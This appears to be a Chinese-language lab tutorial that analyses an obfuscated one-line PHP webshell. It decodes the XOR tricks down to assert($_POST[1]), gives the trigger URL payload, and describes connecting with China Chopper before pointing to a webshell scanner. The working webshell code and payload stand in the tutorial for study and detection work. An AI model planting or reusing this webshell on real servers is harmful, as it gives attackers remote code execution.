WebShell代碼分析溯源(四)
一、一句話變形馬樣本
<?php @$_++;$__=("`"^"?").(":"^"}").("%"^"`").("{"^"/");$___=("$"^"{").("~"^".").("/"^"`").("-"^"~").("("^"|");${$__}[!$_](${$___}[$_]); ?>
二、代碼分析
1、調整代碼格式
2、分析代碼
“^”為異或運算符,在PHP中,兩個變量進行異或時,會將字符串轉換成二進制再進行異或運算,異或運算完,又將結果從二進制轉換成了字符串。
$_++,這行代碼的意思是對變量名為”_”的變量進行自增操作,在PHP中未定義的變量默認值為null,null==false==0,可以在不使用任何數字的情況下,通過對未定義變量的自增操作來得到一個數字。
2.1手動進行異或運算,依次類推得到$___=_POST
2.2$_++在自增之后,$_就變成了1,因此,!$_也就為0,綜上分析,${$__}[!$_](${$___}[$_]);也就變成了$_GET[0]($_POST[1]);,此時一句話木馬為<?php $_GET[0]($_POST[1]); ?>
2.3構造payload: http://www.test.com/test.php?0=assert,因此一句話木馬就變成為<?php assert($_POST[1]); ?>,然后使用菜刀連接,密碼為1
2.4遠程代碼執行,執行一些命令
3、通過調試代碼進行分析webshell,搭建php環境(這里使用phpstudy)
4、調試輸出結果如下
三、漏洞環境搭建
1、這里使用在線學習平台墨者學院中的實驗環境(PHP代碼分析溯源(第1題)),地址: https://www.mozhe.cn/bug/detail/UW5xcFhsWE05akxJYjB1TzEyM2p3UT09bW96aGUmozhe
2、代碼環境,下載代碼
3、分析(上面已經分析過了)
4、使用菜刀連接
四、后記
學習常用webshell掃描檢測查殺工具---WEBDIR+(百度WebShell掃描檢測引擎),網址: https://scanner.baidu.com/#/pages/intro
使用WEBDIR+進行webshell查殺